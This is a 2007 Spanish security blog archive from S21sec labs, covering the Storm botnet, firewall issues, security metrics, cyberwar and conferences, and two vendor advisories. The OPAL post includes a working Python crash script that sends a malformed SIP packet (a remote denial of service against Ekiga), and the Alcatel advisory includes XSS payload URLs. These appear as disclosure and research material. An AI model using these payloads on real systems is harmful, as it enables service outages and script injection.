Storm: Halloween time!

Justo ayer comentábamos la nueva oleada de correos con el tema de Halloween con el esqueleto danzarín, pero hoy ya hemos empezado a recibir unas imágenes más elaboradas (siempre con el link al Zhelatin, Nuwar o cómo lo queramos llamar).

Como siempre, con unos iframes 'maliciosos' y la descarga de un binario (en este caso halloween.exe). Al menos nos dejan un bonito fondo de pantalla para estos días.

David Barroso

S21sec labs

Leopard

Justo después de que Apple anunciara el esperadísimo lanzamiento de su nuevo sistema operativo (Leopard) ya hay controversias sobre su seguridad.

Supuestamente Apple ha apostado por la seguridad para su nuevo lanzamiento, siendo una de las premisas en su diseño. Parece ser que tendrán que hacer algo para mejorar este aspecto porque algo tan importante como el correcto funcionamiento de su Firewall se pone en entredicho en este artículo.

El problema detectado es el decepcionante funcionamiento de su firewall, se le realizan una serie de pruebas de las que desafortunadamente no queda muy bien parado.

Por defecto el firewall no queda activado, da igual que en versiones anteriores lo estuviera, al actualizar se desactiva. El bloqueo de puertos tampoco es todo lo correcto que debiera, ya que aunque se seleccione que se bloqueen todas las conexiones entrantes algunas de ellas son accesibles desde el exterior.

Conclusión, volver a configurar al probado aunque vetusto “ipfw” para que solucione el problema.

José María Arce
S21sec labs

Presentación FIST Barcelona

El pasado 26 de Octubre participamos en las Conferencias FIST edición Barcelona. El evento contó con la participación de más de 60 personas.
Por nuestra parte fue Christian Martorella de S21sec quien ofreció una presentación sobre técnicas de recolección de información de fuentes públicas (Information Gathering).
Podéis descargar la presentación de Christian en formato PDF.

Storm, revisited

Desde hoy tenemos una nueva oleada de correos no solicitados enviados por Storm buscando nuevos integrantes a su botnet. Está vez, coincidiendo con el día de Todos los Santos (Halloween en otros países), enviar correos con el título 'The Dancing Skeleton': Do You Want To See New Funny Sexual Helloween Game With Dancing Skeleton? Just Click Here'.



Aprovechar una fecha señalada para infectar a nuevas computadoras no es algo nuevo. Hace años ya recíbiamos en Diciembre las típicas postales de Navidad que solían incluir un troyano o más recientemente casos con el día de la Independencia de EEUU;si entramos a relacionar código malicioso con días señalados, tenemos el ejemplo claro del Jerusalem/Viernes 13, que también tuvo mucha virulencia en España (creo que muchos fuimos los afectados).

Volviendo al tema de Storm, ahora utiliza claves de 40bits para hablar entre nodos (recordemos, con el protocolo de eDonkey). Este cambio parece que indica una transformación dentro de la gran red, para crear redes más pequeñas más fáciles de manejar o de esconder.

También, según nos comentan la gente de AntiMalware de Microsoft, muchas de las máquinas que pertenecían a Storm (recordemos que algunas personas indicaban hasta 50 millones, aunque los datos más reales parece hablar de menos de 1 millón) ya no están infectadas debido a las mejoras de detección por parte de la mayoría de motores antivirus existentes.

¿Podemos estar ante el inminente fin de Storm? Seguiremos informando.

David Barroso

S21sec labs

La vulnerabilidad de la librería OPAL al detalle

Recientemente desde S21sec labs se publicó una vulnerabilidad que afecta al paquete OPAL(Open Phone Abstraction Layer), que es una librería open source escrita en C++ que implementa diferentes protocolos, ayudando a la gestión de comunicaciones telefónicas y de vídeo sobre TCP/IP. Al tratarse de una librería y no de una aplicación final de usuario, son varios los programas de VoIP que hacen uso de ella, entre otros, nuestro viejo amigo Ekiga. De la misma forma, las plataformas afectadas son también variadas, desde Windows hasta Linux, sin olvidarnos de Macintosh.

Las versiones afectadas por este fallo son la 2.2.8 y anteriores, habiéndose resuelto ya en la última versión publicada hace poco más de un mes, la 2.2.10. En lo referente a Ekiga, las versiones vulnerables eran todas las disponibles en el momento de la comunicación del fallo, es decir, la 2.0.9 y anteriores, pero no la 2.0.10, publicada también hace un mes. Aparte de esta posibilidad de actualización, existe un parche que soluciona este problema, y que vio la luz poco tiempo después de haber sido contactado el equipo de desarrolladores del proyecto, fruto de la colaboración entre ambas partes.

Profundizando un poco más en el tema, se puede decir que la vulnerabilidad, descubierta durante el desarrollo de Malybuzz, es debida a un descuido a la hora de comprobar los datos introducidos por el usuario en una petición del protocolo SIP, o más bien por no comprobarlos.

PINDEX contentLength = mime.GetContentLength();

...

entityBody[contentLength] = '\0';

En este caso concreto, el campo vulnerable es el Content-Length de las cabeceras de las peticiones SIP, donde al rellenar éste con un número excesivamente grande produce una escritura del carácter nulo en una dirección incorrecta de memoria, produciendo un fallo en la aplicación que no se controla correctamente, y que lleva al cuelgue del programa en cuestión con la consiguiente denegación de servicio. Puesto que se permite la escritura en cierta dirección de memoria, podría haber alguna posibilidad de ejecución de código en la máquina atacada, pero debido a la limitación de la escritura a un solo byte y a la dificultad de controlar la dirección en la cual se produce esta escritura, las probabilidades son bastante bajas.

Si queréis comprobar la veracidad de esta información os animo a que descarguéis el código fuente necesario para ejecutar Ekiga 2.0.9 (que sigue estando en la página oficial, aunque un poco rebuscado), localicéis la instrucción vulnerable dentro de la función SIP_PDU::Read del archivo sippdu.cxx contenido en el paquete OPAL 2.2.8, y hagáis vuestras propias modificaciones y pruebas. Tened en cuenta que necesitaréis también el paquete PWLib 1.10.7. Para los más vagos, simplemente podéis ejecutar una versión de Ekiga anterior a la 2.0.10, y lanzar la sencilla prueba de concepto (PoC) que adjunto a continuación. Sólo espero que a todos los que les haya picado el gusanillo con esta entrada, pasen un rato entretenidos este fin de semana, y se den cuenta de que hay miles de vulnerabilidades por descubrir. A por ellas!!;)

#!/usr/bin/python
# opal228_crash.py by Jose Miguel Esparza
# 2007 S21sec labs

import sys,socket

if len(sys.argv) != 3:
sys.exit("Usage: opal228_crash.py target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0\r\n"+\
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
"Contact:sip:pepe@192.168.1.133:5060\r\n"+\
"Content-Length:-40999990\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:pepe@192.168.1.133:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:paco@micasa.com\r\n"+\
"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

Jose Miguel Esparza
S21sec labs

Madurez vs. Calidad en la seguridad.

La madurez de un sistema de gestión de seguridad y su nivel de calidad son dos conceptos que, aunque relacionados entre ellos, no siempre son considerados como elementos independientes incluso, en ocasiones, pueden dar pie a confusión (un sistema maduro no necesariamente es un sistema de calidad). A través de estas líneas intentaremos aportar algo de luz a este asunto y establecer las diferencias principales entre ambos conceptos aplicados sobre la seguridad de la información.

La madurez de un sistema de gestión de seguridad acostumbra a dar una medida del progreso del programa a lo largo del tiempo, es decir, el grado de avance o despliegue de las iniciativas de seguridad respecto a un objetivo marcado. Conforme el programa madura:

• Las políticas están mejor documentadas y las normativas son más detalladas.


• Los procesos están formalizados (documentados) y estandarizados.


• Los datos generados por el SGSI (Sistema de Gestión de la Seguridad de la Información).pueden ser almacenados y utilizados para las mediciones.

Un modelo de madurez tradicionalmente empleado para la valoración de los controles es el definido por COBIT (Control Objectives for Information and related Technology) y basado en la metodología CMM (Capability Marurity Model) desarrollado por la Carnegie Mellon School.
El mencionado modelo se basa en cinco niveles de madurez de 0 (no existente) a 5 (Optimizado), según la evaluación de los objetivos de control de los procesos de Sistemas de Información.

Nivel 0 (NO EXISTENTE) : Ausencia total de procesos reconocibles.

Nivel 1 (INICIAL): No existen procesos estándar aunque sí planteamientos “ad hoc” que se utilizan en cada situación.

Nivel 2 (REPETIBLE): Los procesos han evolucionado de forma que se siguen procedimientos similares para realizar la misma tarea. No existe formación ni comunicación de procedimientos estándar y la responsabilidad recae en el individuo.

Nivel 3 (DEFINIDO): La organización asegura que el control se planifica, documenta, ejecuta, monitoriza y controla.

Nivel 4 (GESTIONADO): Los procesos están en mejora continúa y proporcionan mejores prácticas. Se usan herramientas automatizadas de manera aislada o fragmentada.

Nivel 5 (OPTIMIZADO): Los procesos han sido revisados hasta un nivel de “best practice”, sobre la base de una mejora continua.

Este enfoque permite ir midiendo la evolución o involución de los Sistemas de Iinformación, lo cual es un buen cuadro para presentar a la Dirección ya que claramente permite hacer un seguimiento aún a personas no familiarizadas con los conceptos técnicos.

Un nivel de madurez elevado, no obstante, no implica necesariamente que la organización este “segura”: en caso que los elementos de seguridad no se hayan ejecutado con un nivel de calidad elevado, la seguridad de la organización continuará siendo deficiente. Pongamos un ejemplo:

Una política de seguridad documentada y aprobada por la Dirección es un síntoma de un sistema maduro (nivel 3). No obstante el nivel de Calidad será:

• Bajo, si las políticas no están implantadas, por lo que se podrá concluir que el estado de seguridad es deficiente.


• Medio, si las políticas están parcialmente implantadas, por lo que se podrá concluir que el estado de seguridad es mejorable.


• Alto, si las políticas están (en su mayoría) implantadas, por lo que se podrá concluir que el estado de seguridad es adecuado.

Por tanto, es recomendable una medida separada que indique el nivel de Calidad de la implantación.

El nivel de Calidad debe dar información sobre la calidad de implantación de cada elemento. Conforme el nivel de calidad aumenta, los procesos se van implantando y son seguidos por todas las partes implicadas.
La progresión en el tiempo hacia un objetivo marcado en cuanto a la Calidad permitirá establecer las acciones necesarias para la consecución de dicho objetivo.

Por tanto, sería aconsejable disponer de un indicador propio del nivel de Calidad asociado al propio indicador de seguridad, con una gama bien definida de los valores que se consideran aceptable, inaceptable y excelente (Alta, Media y Baja calidad, si se prefiere) que pueda ser identificada fácilmente por el público objetivo a quien se comunica la medida......y poder responder a ¿Cómo estamos?.

Es GCC seguro?

Pues al parecer, no. O esa es una de las razones dadas por los equipos de OpenBSD para resucitar el proyecto PCC (Portable C Compiler) y eliminar GCC, dado que en cada versión se hace más grande, más potente... y más enfermo ya que cada vez es más complicado de sanear y corregir. PCC fué el compilador quien en la década de los 70 destronó al mítico DMR (el compilador de C de Dennis Ritchie original) en los sistemas Unix. Aunque el código proviene de Caldera, la licencia es BSD-style para la mayor parte y ya se están rehaciendo las partes que no son BSD, obviamente con el equipo de OpenBSD mirando con lupa todo el código.

Dru Lavigne Blog

PCC

Discusión (mensajes Addendum GPLv3)

Eduardo Morrás

¿Se equivocó Albert Einstein?

En plena guerra fría, durante los primeros años del Macarthismo y la amenaza nuclear entre los Estados Unidos y la URSS, Albert Einstein, hacía pública una de sus más famosas citas:

"No se como será la tercera guerra mundial, sólo sé que la cuarta será con piedras y lanzas."

Albert Einstein

En aquel momento la cita causo gran impresión y prueba de ello es que haya sobrevivido como actual hasta nuestros días, ya que desde las bombas atómicas empleadas en el final de la segunda guerra mundial siempre se ha supuesto que también se usaría el arsenal nuclear masivamente en la “Tercera Guerra Mundial”.
Sin embargo, vamos a mostrarnos un poco optimistas ya que parece que nuestra civilización ha conseguido por ahora evitar su autoaniquilación como muchos anunciaban en aquellos años de la guerra fría, para cambiar el concepto tradicional de la guerra hacia técnicas más sutiles y significantemente menos destructivas.
En los foros de seguridad digital especializados ya se menciona esporádicamente el término “Tercera Guerra Mundial” para referirse a las nuevas técnicas de ataques entre países, con el intento de sembrar el caos y paralizar el país atacado.
Fue especialmente llamativo el ataque sufrido por Estonia en Mayo de 2007, que sucedió poco después de que Estonia retirase un monumento de la era Soviética que recordaba la lucha de los soldados de la URSS contra el fascismo en la Segunda Guerra Mundial.
Estonia ha reportado que hasta 1 millón de ordenadores cautivos fueron usados en este ataque, cuyos objetivos principales han sido las sedes gubernamentales, las de los partidos políticos, los bancos, los medios de comunicación y otras empresas, en un intento por crear el caos en dicho país.
El gobierno Estonio llego a necesitar a involucrar a expertos en “Ciberguerra” de la OTAN para hacer frente a la magnitud del ataque.
Estos ataques también se dieron en Dinamarca después de la publicación de las tristemente famosas caricaturas, e igualmente hubo ataques contra la sede de la OTAN durante la guerra de Kosovo.

En cualquier caso, el concepto de “Ciberguerra” no es ni mucho menos nuevo y ya era contemplado por los expertos militares americanos para conseguir un objetivo con el mínimo daño posible, como apunta este artículo producido también durante la guerra de Kosovo, o el siguiente artículo de la revista TIME del año 1995, en el que según dicho artículo la intención del ejercito americano es de “aprovechar las maravillas tecnológicas del siglo 20 para lanzar rápidos, sigilosos, amplios y devastadores ataques en la infraestructura miliar y civil de un enemigo”.
Recientemente, el 2 Noviembre de 2006, el ejercito americano ha anunciado la creación de una unidad especial de combate perteneciente a la US Air Force cuyo ámbito de acción va a ser únicamente el ciberespacio.

La preocupación ha encontrado ya su eco en periódicos no especializados en este tipo de temas, como muestra este artículo del EL Pais. Algunos expertos se plantean la posibilidad de que este tipo de guerra sea usada por “ciberterroristas” mediante el acceso a redes SCADA de control: “Por eso los expertos en seguridad se imaginan a los terroristas delante de un teclado cerrando fábricas o abriendo las compuertas de una presa para inundar las ciudades situadas río abajo.” E incluso esta temática ha servido de inspiración a la película "La jungla de Cristal 4" como ya comentabamos en un post anterior de este blog.

Esperemos que efectivamente Einstein por una vez, se haya equivocado.

Jon Asin
S21sec Labs

eChallenges 2007

Durante esta semana se celebra en La Haya el eChallenges 2007, una conferencia de la Unión Europea sobre tecnología que dura tres días (del 24 al 26 de Octubre) con la participación de más de 600 participantes.

S21sec participa en un workshop denominado 'ENISA Foresight Forum: Security Challenges in Emerging Applications and Future Technologies' invitados por ENISA para exponer el problema existente de las botnets, en una ponencia con el título: 'Botnets - The Silent Threat'.

En esta ponencia se abordará el problema actual de las botnets, así como posibles soluciones para mitigar esta amenaza que cada vez es mayor.

Podéis consultar el resto de las ponencias en el programa del evento.

Si alguno de vosotros está por allí, no dudéis en contactar con nosotros!!

Conferencias FIST Barcelona

El próximo viernes 26 de Octubre se celebra una nueva edición de las conferencias FIST, evento gratuito y abierto al público en el que voluntarios realizan una serie de presentaciones y coloquios sobre diversos aspectos relacionados con los Test de Intrusión y la Seguridad de la Información. En esta ocasión, y con el patrocinio de S21sec y la colaboración de la UPC y Edge-security, nuestro compañero Christian Martorella dará una charla de Information Gathering.

El programa es el siguiente:

18:00: Introducción Edge Security
18:10: pf + CARP: Construyendo un cortafuegos en alta disponibilidad
Carlos Fragoso (one-Esecurity)
19:00: Si no quieres que sepa tu nombre, ¿porqué llevas el dni en la
frente? Christian Martorella (S21sec)
19:50: Descanso
20:00: Inspect a Gadget (in Windows Vista) Rafael Dominguez (MWR InfoSecurity)
20:50: Dudas, preguntas.
21:00: Cierre

Localización: Facultat d'Informatica de Barcelona - UPC Aula máster (Edificio A3) C/Jordi Girona Salgado, 1-3, 08034 BARCELONA

Inscripción: Podéis inscribiros en el evento a través del siguiente enlace: http://www.fistconference.org/inscripcion/inscripcion.php

Os esperamos!

¿Gestionamos o tapamos agujeros?

El escenario actual de los Sistemas de Información presenta una problemática y unos retos en materia de seguridad distintos de los que tenían los Sistemas de Información centralizados con acceso limitado (mainframe) de hace 15 o 20 años. La complejidad tecnológica existente plantea la compatibilidad e interoperabilidad entre herramientas para minimizar los problemas de gestión, el aumento del volumen de información, las transacciones y accesos que se deben securizar, así como el constante incremento de los riesgos de seguridad de las redes.
Las Organizaciones ven hoy la seguridad de sus activos tecnológicos como un requerimiento imprescindible para mantenerse en el negocio. La seguridad, no obstante, no debe verse como la implantación de unos Sistemas novedosos más o menos complejos, para solventar un problema puntual, sino como un proceso más general de mejora continua, donde se busque la continuidad del negocio y que debe cubrir todas las áreas y departamentos de una Organización. Es necesario disponer de mecanismos que permitan evaluar las soluciones implantadas en su conjunto y determinar el nivel de seguridad alcanzado, ya sea para saber si se está en un nivel de seguridad adecuado o bien si se está degradando el nivel de seguridad con el paso del tiempo. Esta evaluación continuada permitirá actuar de manera proactiva respecto a la seguridad, siendo conscientes del nivel adquirido y el nivel deseado, siempre desde un punto de vista de un proceso continuado. La mera implantación de herramientas con configuraciones estáticas conducirá al deterioro progresivo de la seguridad, aumentando la diferencia entre el riesgo percibido y el riesgo real. A la inversa, la mera existencia de políticas, controles y revisiones de auditoria no son efectivas si no van acompañadas de herramientas y medidas técnicas que permitan respuestas rápidas y automatizadas y a condiciones de vulnerabilidad en permanente evolución. La seguridad es un proceso, no un producto.
Las políticas corporativas mencionadas anteriormente son también necesarias y éstas deben ser globales, de forma que afecten e impliquen a toda la Organización y que, sobre todo, cuenten con el respaldo de la Dirección. Estas políticas deben desencadenar el desarrollo y la definición de unos procesos y procedimientos basados en metodologías de trabajo, con la implantación de controles organizativos y con el establecimiento de procesos de medición y auditorias para verificar y controlar la implantación de las políticas.

Por concluir: la búsqueda de una solución global que permita la gestión de forma continuada de la seguridad de los Sistemas de Información no es una tarea fácil. Resulta difícil decir cual será la mejor solución o producto global, puesto que las necesidades de las organizaciones pueden ser completamente distintas unas de las otras. Sin embargo, para una correcta coordinación entre las diferentes áreas de actuación comentadas, se deberá considerar como claves los siguientes aspectos:
1.- Coherencia y Equilibrio técnico y funcional: mediante la integración tecnológica y la compatibilidad de las distintas herramientas, así como el uso de estándares y soluciones abiertas frente a plataformas propietarias. Esta coherencia debe ser tanto a nivel tecnológico como funcional, dando soporte a los procedimientos, políticas, controles y auditorias que permita unificar criterios.
2.- Escalabilidad/Disponibilidad: que garantice el rendimiento ante anchos de banda crecientes, que permita el crecimiento e implantación de nuevos módulos, re-usabilidad de componentes y facilidad de gestión y monitorización.

Segundo reto de ingeniería inversa

Os presentamos un segundo reto de ingeniería inversa.

El objetivo es obtener el mensaje de "chico bueno" sin parchear código. Ya que el textbox tiene espacio para ello, se valorará que el texto introducido sea (por lo menos en parte) un poema ;)

Aquí podéis ver como pinta el crackme:

Al igual que el anterior, ha sido programado en MASM, pero esta vez cada fichero ha sido empaquetado con un packer gratuito disponible en Internet.

Ha sido probado en Windows XP SP2 y en Ubuntu (con wine), y decir que el fichero es totalmente inofensivo y está libre de virus, por lo que si el antivirus os da algún aviso, será a consecuencia de una técnica de protección ;)

Os lo podeis descargar de aquí

Las dos mejores soluciones obtendrá como premio una copia del libro: The Shellcoder's Handbook: Discovering and Exploiting Security Holes (segunda edición).

Se valorará la resolución, originalidad y el nivel de detalle de la solución enviada.

Cuando lo resolváis, enviad la solución a labs@s21sec.com

Mikel Gastesi
S21sec Labs

S21SEC-038-en: Alcatel Omnivista 4760 Cross-Site Scripting

##############################################################
- S21Sec Advisory -
##############################################################

Title: Alcatel Omnivista 4760 Cross-Site Scripting
ID: S21SEC-038-en
Severity: Medium -
History: 10.Jun.2007 Vulnerability discovered
20.Jun.2007 Vendor contacted
15.Oct.2007 Advisory released
Authors: Juan de la Fuente Costa (jfuente@s21sec.com)
Pablo Seijo Cajaraville (pseijo@s21sec.com)
URL: http://www.s21sec.com/avisos/s21sec-038-en.txt
Release: Public

[ SUMMARY ]
Alcatel-Lucent OmniVista 4760 is an innovative, modular platform that provides a suite of network management applications.
This powerful Java-based tool, accessed through a Web browser, provides centralized management for the OmniPCX Enterprise.

The platform's open architecture enables today's IT managers and administrators to effectively monitor and maintain the
network, while lowering the company's total cost of ownership. This suite of network management applications includes:

* LDAP Directory
* Configuration
* Accounting/Performance Management
* Alarm Notification
* Network Topology

[ AFFECTED VERSIONS ]
This vulnerability has been tested in Alcatel Omnivista 4760.

[ DESCRIPTION ]
S21sec has discovered a vulnerability in Alcatel Omnivista 4760 that allows injecting JavaScript code in text variables.
This issue allows javascript code execution in the user browser.

The identified parameters are: "action" and "Langue"

Parameter: action

URL: http://www.somesite.com/php-bin/Webclient.php?action=<script>alert("xss")</script>

Parameter: Langue

URL: http://www.somesite.com/?Langue="><script>alert("xss")</script><";  

[ WORKAROUND ] 

Alcatel-Lucent has released a patch to address this vulnerability. More info at: http://www1.alcatel-lucent.com/psirt/statements/2007003/4760xss.htm 

[ACKNOWLEDGMENTS ] 

This vulnerability has been discovered and researched by: 

- Juan de la Fuente Costa S21Sec
- Pablo Seijo Cajaraville S21Sec

With special thanks to:
- Miguel Angel Aguilar Bermejo

[ REFERENCES ]

* S21Sec
http://www.s21sec.com
http://blog.s21sec.com

Storm: pump & dump audible

En este blog hemos ido contando algunas de las oleadas de SPAM que recibíamos de la botnet Storm, tanto para ser infectados y pertenecer a su séquito, como simplemente SPAM puro y duro.

En la última oleada que hemos empezado a detectar ayer, las cosas han cambiado: ahora utilizan una antigua técnica llamada pump & dump, pero no usando texto y alguna imagen como estamos acostumbrados a ver de vez en cuando, sino usando un archivo MP3. Pump & Dump es la técnica en la que se utilizan rumores o noticias falsas para inflar el valor de un acción en bolsa. En este caso, en el MP3 una voz sintética de mujer nos comenta el valor de una acción de Canada debido a las próximas ganancias que obtendrán en EEUU.

La relación entre Malware y Economía es cada vez más fuerte, sirva como ejemplo los tres excelentes artículos de recomendable lectura sobre el tema:

• http://www.cio.com/article/135500/Hacker_Economics_Malware_as_a_Service
  
• http://www.cio.com/article/135550/Hacker_Economics_The_Conspiracy_of_Apathy
• http://www.cio.com/article/135551/Hacker_Economics_MPACK_and_the_Next_Wave_of_Malwar

David Barroso

S21sec labs

InSecurity e-zine

Ya ha salido un nuevo número del e-zine InSecurity, el número 3. Qué es un e-zine? Una revista electrónica, en este caso un pdf, hecho por no-profesionales, sobre un tema en concreto, hacking y en este caso gratuita. Que una revista de estas características llegue al número 3, 6 o 12 es todo un hito que, al menos en parte, ya han superado. Y además en castellano. Aunque algunos de los temas tratados no son lo último de lo último, otros me han sorprendido, como el de refrigeración al hablar de los nuevos desarrollos de intel o la creación rápida de un cluster bajo linux.

En fin, que después de leerlo, solo me falta gritar Hack the World!!

InSecurity.pdf

Eduardo Morrás

Presentación de 'Asegúrate que estás seguro'

El pasado 4 de Octubre participamos en el evento de Microsoft 'Aségurate que estás seguro'. El evento, que fue un rotundo éxito, contó con la participación de más de 190 personas (podéis leer cómo fue el evento en el blog de Chema Alonso aka Maligno).

Por nuestra parte fue Alberto Moro (Mandingo) de S21sec labs uno de los ponentes que ofreció una nueva visión sobre las auditorias web. Podéis descargar la presentación de Alberto tanto en formato PowerPoint como OpenOffice.

Hágase phisher en 40 segundos

Desde hace ya bastante tiempo nos hemos ido encontrando con 'kits de phishing' en los que un usuario no necesita tener casi ningún conocimiento técnico para crear páginas intentando engañar a los usuarios. Casi siempre, estos kits o bien son una mezcla de scripts que realizan su trabajo, o son aplicaciones para Windows que facilitan su uso.

Hace unos meses nos encontramos una aplicación desarrollada en Visual Basic que entra en esta categoría de herramientas. Lo que más nos sorprendió es que es una aplicación desarrollada por una persona en teoría sin ningún tipo de interés oculto.

Está claro que cada uno es libre de desarrollar las herramientas que desee mientra su uso no sea ilegal (recordemos la situación que existe en Alemania), pero, hasta que punto podemos considerar ético desarrollar una herramienta que permite 'ser un phisher en 40 segundos'? Así es como la herramienta se define.

Siempre existirán partidarios de uno u otro bando, defendiendo o atacando la existencia de este tipo de herramientas (y aunque creo que son categorías distintas, podríamos entonces meter en el mismo saco todas las herramientas como nmap, nessus, metasploit, yersinia (ole), etc...) Pero hay una diferencia: cualquier herramienta con esta dualidad del bien y el mal puede ser usada para hacer el bien (y el mal!). Un caso práctico es que nosotros utilizamos en nuestros proyectos multitud de este tipo de herramientas en su sentido más benigno (o al menos, es lo que pretendemos).

Pero, ¿para qué se puede usar un 'kit de phishing' para algo positivo? El autor se escuda diciendo que puede servir para aumentar el grado de concienciación de los usuarios de una página. ¿Es una excusa válida? Puede que sí. ¿Se usará para fines maliciosos? Estamos seguros que sí. Entonces, ¿qué podemos hacer? Protegernos ante este tipo de ataques y contar con los recursos necesarios para la prevención, detección y cualquier acción reactiva ante ellos.

David Barroso

S21sec labs

Medir....¿para qué?

Cada vez es más común el viejo axioma que dice “no se puede mejorar lo que no se puede medir”. Afortunadamente este criterio utilizado en gran parte de los ámbitos de las organizaciones (contable-financiero, producción, ventas, etc.) está llegando también al ámbito de los Sistemas de Información en general y a la seguridad en particular.

El tradicional criterio utilizado para la toma de decisiones basado en la experiencia, el criterio (¿olfato?) de los responsables de las áreas tecnológicas, presiones externas o motivaciones puramente comerciales (la mejor herramienta del mercado “por si acaso”), están dando paso a basar la gestión en criterios cuantificables, medibles, comparables o contrastables que permitan analizar, valorar y comparar de manera objetiva.

Para ello es imprescindible disponer de la información que permita dar respuesta a preguntas básicas pero a la vez fundamentales como ¿cuál es la eficacia de nuestro sistema de seguridad?. ¿cuál es la eficiencia de dichos Sistema?, ¿Conocemos el nivel de madurez de nuestro sistema de seguridad? ¿y su nivel de Calidad?, ¿Existe la posibilidad que nuestros sistemas críticos queden fuera de servicio? ¿por qué?.

La información que va a permitir dar respuesta a estas y muchas otras preguntas en el ámbito de la gestión de la seguridad son los indicadores y métricas de seguridad, cada vez más populares gracias, entre otros, al estándar ISO 27001 que contempla como uno de sus requisitos la necesidad de medir la eficacia de los controles para verificar el cumplimiento de los requisitos de seguridad.

Así pues, conocida la realidad, sabiendo lo que está sucediendo en materia de seguridad y, en definitiva midiendo la seguridad se estará en disposición de tomar las decisiones oportunas en el momento idóneo gestionando de forma proactiva (antes que se produzcan situaciones y/o escenarios no deseados) la seguridad de nuestra información.

Por tanto, para resolver la incógnita planteada al inicio de estas líneas, muchos coincidiremos en que la medición nos va a llevar a la mejora continua.

Storm Worm mimoso

Hasta ahora hemos visto los correos generados por Storm de todo tipo, pero la ola de correos que se está recibiendo ahora es algo que poca gente se esperaba: buscar el corazoncito de sus victimas.

Ahora en los enlaces que aparece en el correo, nos lleva a un flash donde salen dos lindos gatitos; uno de ellos comenta 'What in the world is so funny?', mientras que el que se ríe comenta 'This is the best Catnit Ever'. El título de la página es 'The Laughing Psycho Kitty'.

Los enlaces en la página nos incitan a descargarnos un fichero de nombre SuperLaugh.exe (el típico Zhelatin), y justo al final de la página aparece un exploit para infectarnos.

Recordemos que algunas fuentes indican que nos encontramos ante la mayor BotNet de todos los tiempos, y lo que estamos viendo de sus características técnicas nos demuestran que es una de las más avanzadas tanto en sus mecanismos de propagación, infección o comunicación.

David Barroso

S21sec labs

S21SEC-037-en: OPAL SIP Protocol Remote Denial of Service

##############################################################
- S21Sec Advisory -
##############################################################

Title: OPAL SIP Protocol Remote Denial of Service
ID: S21SEC-037-en
Severity: Medium - Remote DoS
History:

11.Jun.2007 Vulnerability discovered
09.Jul.2007 Vendor contacted
15.Aug.2007 Patched
17.Sep.2007 New version released

Scope: Remote Denial of Service
Platforms: Any
Author: Jose Miguel Esparza (jesparza@s21sec.com)
URL: http://www.s21sec.com/avisos/s21sec-037-en.txt
Release: Public


[ SUMMARY ]

OPAL (Open Phone Abstraction Layer) is an implementation of various telephony and video communication protocols for use over packet based networks. It's based on code from the OpenH323 project and adds new features such as a stream based architecture, better support for re-use or removal of sub-components, and explicit support for additional protocols.


[ AFFECTED VERSIONS ]

Following versions are affected with this issue:

- OPAL 2.2.8 and prior.

Some applications which use this library are affected too:

- Ekiga 2.0.9 and prior.


[ DESCRIPTION ]

File: sippdu.cxx
Function: SIP_PDU::Read(OpalTransport & transport)
Instruction: entityBody[contentLength] = '\0';

An insufficient input validation of the Content-Length field of a SIP request cause the application to crash due to a memory mismanagement.


[ WORKAROUND ]

A patch in the url http://openh323.cvs.sourceforge.net/openh323/opal/src/sip/sippdu.cxx?r1=2.83.2.19&r2=2.83.2.20 is available, but upgrading to new version 2.2.10 is recommended.


[ ACKNOWLEDGMENTS ]

This vulnerability have been found and researched by:

- Jose Miguel Esparza (S21sec labs)


[ ADDITIONAL INFORMATION ]

This vulnerability has been discovered during the development of the network fuzzer Malybuzz, available in the url
http://malybuzz.sourceforge.net/


[ REFERENCES ]

* OpenH323 Project
http://openh323.sourceforge.net/

* Ekiga
http://ekiga.org

* S21Sec
http://www.s21sec.com
http://blog.s21sec.com

* Malybuzz
http://malybuzz.eternal-todo.com

OLPC y seguridad

El proyecto OLPC (One Laptop Per Child) fue anunciado a finales de noviembre de 2005, durante una convención sobre internet en Tunez. El propósito de este proyecto, básicamente, es el de crear un ordenador portatil de bajo costo para proveer a cada niño en el mundo, acceso y conocimiento de las formas modernas de educación.

Cabe destacar dos aspectos importantes dentro del proyecto OLPC,

• Se pretende crear un ordenador de bajo costo (en principio unos 100$, aunque se estima que finalmente costará 175$).

• El ordenador va a estar destinado a niños, por lo que en teoría su uso debería ser lo menos complejo posible.

Teniendo en cuenta estos aspectos, ¿es posible garantizar la seguridad de estos ordenadores sin disparar el costo?,y más importante aún,¿es posible dotar a estos ordenadores con medidas de seguridad suficientes, y que a la vez sean transparentes al usuario?

Desde la fecha de presentación del proyecto OLPC, expertos en seguridad de todo el mundo se han hecho estas mismas preguntas, entre otras, dado que hay que tener en cuenta que se prevee distribuir unos 10 millones de unidades a lo largo del año que viene.

En febrero de 2007, se introdujo el último modelo de este ordenador, llamado XO-1, y de acuerdo con el encargado de la seguridad de este último, Ivan Krstić , posee un sistema de seguridad mejorado con respecto de versiones anteriores.

La seguridad en los ordenadores OLPC se basa en la arquitectura Bitfrost. Algunos aspectos de esta arquitectura son:

• No requiere password a la hora de acceder al ordenador
• Todas las aplicaciones se ejecutan en un entorno tipo maquina virtual
• Se puede desconectar el ordenador de manera remota en caso de robo
• En caso de que el ordenador sufra algún cambio no autorizado, cuenta con una copia de seguridad del sistema operativo,para que rápidamente pueda ser recuperado.
  

¿Podrá Bitfrost estar a la altura de las expectativas?
Eso solo lo sabremos a partir del año que viene, cuando el XO-1 se empiece a distribuir.


Asier Marruedo

S21sec Labs

CRITIS'07

Como ya se mencionó en un post anterior S21sec ha estado durante los días 3-5 de octubre en Benalmádena-Costa en el segundo congreso internacional en la seguridad de infraestructuras críticas.

Las infraestructuras críticas son todos aquellos recursos y activos que son esenciales para el funcionamiento de la sociedad. Éstas incluyen las instalaciones de generación y distribución de electricidad, telecomunicaciones, las redes de abastecimiento de agua, los sistemas de transporte, los servicios financieros, etc. Todas ellas tienen una base tecnológica común y de la que en la mayoría de ocasiones podemos destacar una red de control y supervisión tipo SCADA.

